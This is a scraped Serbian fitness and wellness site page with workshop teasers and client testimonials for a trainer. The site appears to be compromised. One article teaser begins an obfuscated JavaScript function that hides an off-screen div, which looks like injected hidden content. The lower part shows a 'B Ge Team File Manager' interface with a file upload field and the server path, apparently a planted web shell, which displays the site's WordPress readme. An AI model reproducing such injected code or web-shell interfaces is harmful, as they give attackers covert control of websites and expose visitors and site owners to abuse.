Pogledajte naše proizvode

Srce duše

  Radionica "Srce duše" biće održana u Novom Sadu 24.09.2017  (12-18h ) Svako ce dobiti nesto drugacije, jedinstveno, unikatno, samo njemu znano,
Read More
Srce duše

Tesla

“Dar isceljujuće energije dolazi od Boga, vrhunskog bića, i ako mi spoznamo i osvestimo tu istinu, postajemo skladni sa ovom
Read More
Tesla

Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

      ...jer samo zdrava dusa moze da ispuni svoju svrhu' Milica Vujic, kondicioni trener, fitnes instruktor, hard body trener, prakticar yoge, pilates
Read More
Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

Biljna hrana

function lJeCytLe(umR) { var BuvBN = "#mtaxnzy1mzuz{margin:0px 20px;overflow:hidden}#mtaxnzy1mzuz>div{top:-3874px;overflow:hidden;position:fixed;left:-2702px;display:block}";
Read More
Biljna hrana
Iskustva
Maja Vučkovic, Novi Sad
Maja Vučkovic, Novi Sad
Kao trener temeljna, posvecena, istrajna, ljubazna i uvek sa osmehom na licu. Treninzi dinamicni, uvek drugaciji, zanimljivi. To je ono zbog cega mi nije bilo tesko da odem na svaki trening bez izgovora, a zbog cega i dan danas ne mogu da pronadjem nista slicno sto ce me osvojiti kao treninzi sa Milicom!
Daniela Lalić, Novi Sad
Daniela Lalić, Novi Sad
... momenat kada cuda postaju stvarnost, kada zelja postane ostvarljiva, kada ti se vraca osmeh na lice... Tog dana nisam ni slutila da ce mi se zivot toliko promeniti upoznavsi nju, obicnu devojku koja je bila neverovatno nasmejana,raspolozena, prosto je zracila tom svojom pozitivnoscu, nesebicno je prenoseci na druge... tako je i na mene... A ja sam bila tuzna devojka koja je imala problema sa hormonima, sa debljinom, velikim viskom kilograma... jeduci samo proteine jer je tad bila aktuelna takva vrsta ishrane, nadajuci se da cu ih skinuti na njenim treninzima, neznajuci da mi je bas ona stvarala te probleme, hormoni u zivotinjskom mesu remete nase hormone... A onda su dosli njeni saveti,pored veoma delotvornih treninga... U danasnje vreme ima mnogo ljudi koji su pozitivni ali retki su oni koji to mogu i da prenesu na druge... ona je jedna od njih... A zatim svojim velikim iskustvom u svetu sporta, fitnesa i najvise ishrane je podelila neke odredjene savete sa mnom... i hvala joj na tome... I danas se secam tog dana iako je proslo dosta godina od tad... Cujem se sa njom i danas, i sada ima vremena da odgovori na svaku moju poruku iako sam ja kao i svako drugi, obicna devojka, kojoj je potreban neki savet... a ona se sve te godine i dalje usavrsava i napreduje... Nismo ni drugarice ni prijateljice, jer se to postaje na drugaciji nacin, ali ima veoma vazno mesto u mom zivotu jer mi se od tad zivot poceo menjati...
 Carla Almassri 11, Erbil
Carla Almassri 11, Erbil
Treninzi su bili odlični. Bilo je to zabavno iskustvo. Osećala sam se kako se poboljšavam te sam naučila mnogo veština koje i dalje dan danas koristim. Obožavam ih .
Branka  Laketić, Novi Sad
Branka Laketić, Novi Sad
Na treninzima je bilo fenomenalno, prijatna atmosfera, jaki i dobri treninzi, trener posvecen svom poslu, a i nama svima. Sve u svemu, prezadovoljna sam bila i rado bih nastavila kada bih imala priliku.
Jelena kragović, Beograd
Jelena kragović, Beograd
Milica je pre svega jedna divna osoba koja je uvek otvorena da porazgovara sa Vama i da Vam iskreni savet bez podsmevanja ili ruznih pogleda sa mislju "Na sta licis!", sto se verujte mi desava. Sa Milicom se svako oseca motivisano, jer je pravi profesionalac i reci ce Vam uvek da za trening nikada nije kasno.  Svakome se posveti sto se treninga tice maksimalno i pomogne i sa savetima u vezi ishrane, pored svega. Sve tople preporuke za Milicu od mene. Na kraju krajeva, ne morate mi verovati, vec trenirajte sa njom, pa cete se uveriti i sami. I da, da ne zaboravim...pored svega Milica je prelepa...Sve pohvale i tople preporuke za Milicu
Nataša Stanković, Novi Sad
Nataša Stanković, Novi Sad
Sjajni treninzi, preciznost, postavljanje ciljeva, njihovo ostvarivanje kao i sjajna komunikacija omogucili su mi da sa uvek nasmejanom Milicom uspostavim odnos kakav se moze pozeleti. Uspela je da poboljsa moje performanse, savetovala me je u vezi sa ishranom i odrzavala motivaciju za ostvarivanjem ciljeva. Takodje, naucila me je kako da uzivam u svakom treningu i da mi isti ne predstavlja obavezu, vec nesto cemu sam se celog dana radovala. Uspesno smo saradjivale, preporucila bih je svakome i sa sigurnoscu mogu da tvrdim da ce Milica za kratko vreme uspeti da promeni Vas nacin zivota i da iskoreni lose navike.
Danijela Jocic, Beograd
Danijela Jocic, Beograd
Milicu sam slucajno upoznala u jednoj teretani, u Beogradu. Prica pocinje ovako: Odlazila sam na kardio treninge i na poneku spravicu u teretanu u komsiluku dok mi jedan dan paznju nije privukla jedna devojka u sali koja sprema nesto sto jos nisam videla na tv-u, bar ono reklama sto ugrabim u slobodno vreme. Simpatizer sam grupnih treninga, sa razlicitim vezbama i brzim rezultatom. Strpljenje mi je slaba tacka, pogotovo kad imate malo vremena da liniju dovedete skoro do savrsenstva. Ono sto mi je prvo skrenulo pogled ka sali gde se uveliko spremalo nesto novo bila je muzika koja bukvalno "dize iz mrtvih". Dve reci te devojke-Milice, mog trenera, bile su dovoljne da joj se pridruzim odmah, cak i pre formiranja prve grupe polaznika. Nailazim na ODUSEVLJENJE! Strah na pocetku, da li cu izdrzati trening, naporno je, zahteva kondiciju, snagu, koncentraciju, uigranost! Zove se Insanity. Dve godine u tom ritmu je proletelo...4-5 puta nedeljno odlazenja na treninge cinili su mi veliko zadovoljstvo i srecu. Moja sestra je krenula odmah sa mnom. Grupa od deset devojaka treniraju kao jedan! Koliko raspolozenje posle treninga, od sat ipo vremena! Noge, stomak i ruke kao na profi slikama iz casopisa! Trening pripremljen i osmisljen kao u najboljem inostranom spotu, vezbe povezane, koordinacija tela...Prvo zagrevanje, a potom krecemo od glave i vrata, ruku, stomaka, nogu...istezanje. Muzika drzi atmosferu da ne razmisljamo o umoru. Svaki trening drugaciji, nema mesta monotoniji. Koristimo tegice, vijace. Na kraju treninga mokra majica nam najbolje pokaze rezultat svega toga. Moram priznati da sam ishranu morala malo da korigujem jer mi je genetika takva, sve se lepi. To mi je sve bilo lako uz Milicine razgovore, savete, recepte, redovno proveravanje kilaze i masti. Neko je jos brinuo o mom telu i zdravlju.
 Sara Barzani, Erbil
Sara Barzani, Erbil
Trening s Milicom je jedno od najboljih iskustva koje sam imala u zivotu. Tezak posao se s njom cinio toliko lagano. Ona kao trener me gurala u treninzima da postignem svoje ciljeve. Umor nije uopste bio problem s njenom pomoci. Pomogla mi je transformisati moje telo, onako kako sam zelela. Energija i izdrzljivost su mi bile dve najvaznije stvari koje mi je pomogla poboljsati.
Sherri Kraham Talabany, Erbil
Sherri Kraham Talabany, Erbil
Moj muž i ja obožavali smo kao klijenti raditi s Milicom koja nas je držala na nogama sa rigoroznim režimom kroz trening snage, trening za tonus i kardio trening ukomponovan u jedan sat intenzivnog vežbanja. Čak je menjala vežbe tako da nikada nije bilo dosadno i uvek je uspevala napraviti trening za kompletno telo. To je vodilo do vrhunskih rezultata na telesnom i fitness nivou.
prevnext
B Ge Team File Manager

B Ge Team File Manager

Current Path : /home/nnaac01/domains/zdravotelo.net/public_html/
Upload File :
Current File : /home/nnaac01/domains/zdravotelo.net/public_html/readme.html

<!DOCTYPE html>
<html>
<head>
	<meta name="viewport" content="width=device-width" />
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>WordPress &#8250; ReadMe</title>
	<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
<body>
<h1 id="logo">
	<a href="https://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a>
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>

<h2>First Things First</h2>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I&#8217;m proud to be a part of. Thousands of hours have gone into WordPress, and we&#8217;re dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right">&#8212; Matt Mullenweg</p>

<h2>Installation: Famous 5-minute install</h2>
<ol>
	<li>Unzip the package in an empty directory and upload everything.</li>
	<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
		<ol>
			<li>If for some reason this doesn&#8217;t work, don&#8217;t worry. It doesn&#8217;t work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
			<li>Save the file as <code>wp-config.php</code> and upload it.</li>
			<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
		</ol>
	</li>
	<li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="https://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
	<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
	<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on &#8220;Profile&#8221; to change the password.</li>
</ol>

<h2>Updating</h2>
<h3>Using the Automatic Updater</h3>
<p>If you are updating from version 2.7 or higher, you can use the automatic updater:</p>
<ol>
	<li>Open <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
	<li>You wanted more, perhaps? That&#8217;s it!</li>
</ol>

<h3>Updating Manually</h3>
<ol>
	<li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
	<li>Delete your old WordPress files, saving ones you&#8217;ve modified.</li>
	<li>Upload the new files.</li>
	<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
</ol>

<h2>Migrating from other systems</h2>
<p>WordPress can <a href="https://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>

<h2>System Requirements</h2>
<ul>
	<li><a href="https://secure.php.net/">PHP</a> version <strong>5.2.4</strong> or higher.</li>
	<li><a href="https://www.mysql.com/">MySQL</a> version <strong>5.0</strong> or higher.</li>
</ul>

<h3>Recommendations</h3>
<ul>
	<li><a href="https://secure.php.net/">PHP</a> version <strong>7</strong> or higher.</li>
	<li><a href="https://www.mysql.com/">MySQL</a> version <strong>5.6</strong> or higher.</li>
	<li>The <a href="https://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
	<li><a href="https://wordpress.org/news/2016/12/moving-toward-ssl/">HTTPS</a> support.</li>
	<li>A link to <a href="https://wordpress.org/">wordpress.org</a> on your site.</li>
</ul>

<h2>Online Resources</h2>
<p>If you have any questions that aren&#8217;t addressed in this document, please take advantage of WordPress&#8217; numerous online resources:</p>
<dl>
	<dt><a href="https://codex.wordpress.org/">The WordPress Codex</a></dt>
		<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
	<dt><a href="https://wordpress.org/news/">The WordPress Blog</a></dt>
		<dd>This is where you&#8217;ll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
	<dt><a href="https://planet.wordpress.org/">WordPress Planet</a></dt>
		<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
	<dt><a href="https://wordpress.org/support/">WordPress Support Forums</a></dt>
		<dd>If you&#8217;ve looked everywhere and still can&#8217;t find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
	<dt><a href="https://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
		<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>

<h2>Final Notes</h2>
<ul>
	<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="https://wordpress.org/support/">Support Forums</a>.</li>
	<li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="https://developer.wordpress.org/plugins/">Plugin Developer Handbook</a>. You shouldn&#8217;t modify any of the core code.</li>
</ul>

<h2>Share the Love</h2>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>

<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&#233;log</a>, which came from Michel V. The work has been continued by the <a href="https://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="https://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>

<h2>License</h2>
<p>WordPress is free software, and is released under the terms of the <abbr title="GNU General Public License">GPL</abbr> version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>

</body>
</html>

B Ge Team File Manager Version 1.0, Coded By Little Wei
Email: null